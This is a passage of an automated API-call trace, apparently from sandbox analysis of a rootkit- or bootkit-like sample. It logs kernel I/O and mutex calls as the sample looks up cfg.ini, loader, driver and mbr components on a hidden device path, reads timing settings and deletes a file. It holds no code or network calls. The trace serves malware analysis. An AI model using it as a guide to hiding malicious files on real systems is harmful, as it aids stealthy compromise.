IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.359] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.359] IdePortDispatch () returned 0x103 [0125.359] KeWaitForMutexObject () returned 0x0 [0125.359] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.359] KeLeaveCriticalRegion () [0125.360] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.360] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.360] KeEnterCriticalRegion () [0125.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.360] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3b000 [0125.360] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.360] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.360] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.360] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.360] IdePortDispatch () returned 0x103 [0125.360] KeWaitForMutexObject () returned 0x0 [0125.360] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.360] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.360] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.360] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.360] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.360] IdePortDispatch () returned 0x103 [0125.360] KeWaitForMutexObject () returned 0x0 [0125.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.360] KeLeaveCriticalRegion () [0125.360] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.361] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.361] KeEnterCriticalRegion () [0125.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.361] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.361] KeLeaveCriticalRegion () [0125.361] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.361] KeEnterCriticalRegion () [0125.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.361] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.361] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.361] KeLeaveCriticalRegion () [0125.361] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.361] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.361] KeEnterCriticalRegion () [0125.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.361] ExFreePoolWithTag (P=0xfffffa8003bf6650, Tag=0x0) [0125.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.361] KeLeaveCriticalRegion () [0125.361] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.361] ReleaseMutex (hMutex=0xf0) returned 1 [0125.361] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.361] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.361] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.361] KeEnterCriticalRegion () [0125.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.361] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.361] IdePortDispatch () returned 0x103 [0125.362] KeWaitForMutexObject () returned 0x0 [0125.362] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.362] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.362] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.362] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.362] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.362] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5af0 [0125.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.362] KeLeaveCriticalRegion () [0125.362] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.362] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.362] KeEnterCriticalRegion () [0125.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.362] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.362] KeLeaveCriticalRegion () [0125.362] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.362] KeEnterCriticalRegion () [0125.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.362] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.362] IdePortDispatch () returned 0x103 [0125.362] KeWaitForMutexObject () returned 0x0 [0125.362] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.362] KeLeaveCriticalRegion () [0125.362] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.362] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.362] KeEnterCriticalRegion () [0125.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.363] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3c000 [0125.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.363] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.363] IdePortDispatch () returned 0x103 [0125.363] KeWaitForMutexObject () returned 0x0 [0125.363] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.363] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.363] IdePortDispatch () returned 0x103 [0125.363] KeWaitForMutexObject () returned 0x0 [0125.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.363] KeLeaveCriticalRegion () [0125.363] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.364] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.364] KeEnterCriticalRegion () [0125.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.364] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.364] KeLeaveCriticalRegion () [0125.364] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.364] KeEnterCriticalRegion () [0125.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.364] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.364] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.364] KeLeaveCriticalRegion () [0125.364] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.364] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.364] KeEnterCriticalRegion () [0125.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.364] ExFreePoolWithTag (P=0xfffffa8003bf5af0, Tag=0x0) [0125.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.364] KeLeaveCriticalRegion () [0125.364] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.364] ReleaseMutex (hMutex=0xf0) returned 1 [0125.364] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.364] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.364] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.364] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.364] KeEnterCriticalRegion () [0125.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.364] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.364] IdePortDispatch () returned 0x103 [0125.364] KeWaitForMutexObject () returned 0x0 [0125.364] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.365] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.365] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.365] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.365] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.365] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.365] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.365] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.365] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.365] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.365] KeLeaveCriticalRegion () [0125.365] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.365] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.365] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.365] KeEnterCriticalRegion () [0125.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.365] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.365] IdePortDispatch () returned 0x103 [0125.365] KeWaitForMutexObject () returned 0x0 [0125.365] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.365] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.365] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.365] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.365] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.365] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.365] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.365] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.365] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.365] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.366] KeLeaveCriticalRegion () [0125.366] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.366] ReleaseMutex (hMutex=0x100) returned 1 [0125.366] Sleep (dwMilliseconds=0x2bf20) [0125.372] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ded22b0, dwHighDateTime=0x1d24fa4)) [0125.372] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.372] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.372] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.372] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.372] KeEnterCriticalRegion () [0125.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.372] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.372] IdePortDispatch () returned 0x103 [0125.372] KeWaitForMutexObject () returned 0x0 [0125.372] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.372] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.372] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.372] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.372] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.372] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7fb0 [0125.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.372] KeLeaveCriticalRegion () [0125.372] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.373] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.373] KeEnterCriticalRegion () [0125.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.373] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.373] KeLeaveCriticalRegion () [0125.373] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.373] KeEnterCriticalRegion () [0125.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.373] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.373] IdePortDispatch () returned 0x103 [0125.373] KeWaitForMutexObject () returned 0x0 [0125.373] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.373] KeLeaveCriticalRegion () [0125.373] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.373] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.373] KeEnterCriticalRegion () [0125.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.373] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3f000 [0125.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.373] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.373] IdePortDispatch () returned 0x103 [0125.374] KeWaitForMutexObject () returned 0x0 [0125.374] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.374] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.374] IdePortDispatch () returned 0x103 [0125.374] KeWaitForMutexObject () returned 0x0 [0125.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.374] KeLeaveCriticalRegion () [0125.374] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.374] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.374] KeEnterCriticalRegion () [0125.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.374] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.374] KeLeaveCriticalRegion () [0125.374] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.374] KeEnterCriticalRegion () [0125.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.374] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.374] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.375] KeLeaveCriticalRegion () [0125.375] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.375] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.375] KeEnterCriticalRegion () [0125.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.375] ExFreePoolWithTag (P=0xfffffa8003bf7fb0, Tag=0x0) [0125.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.375] 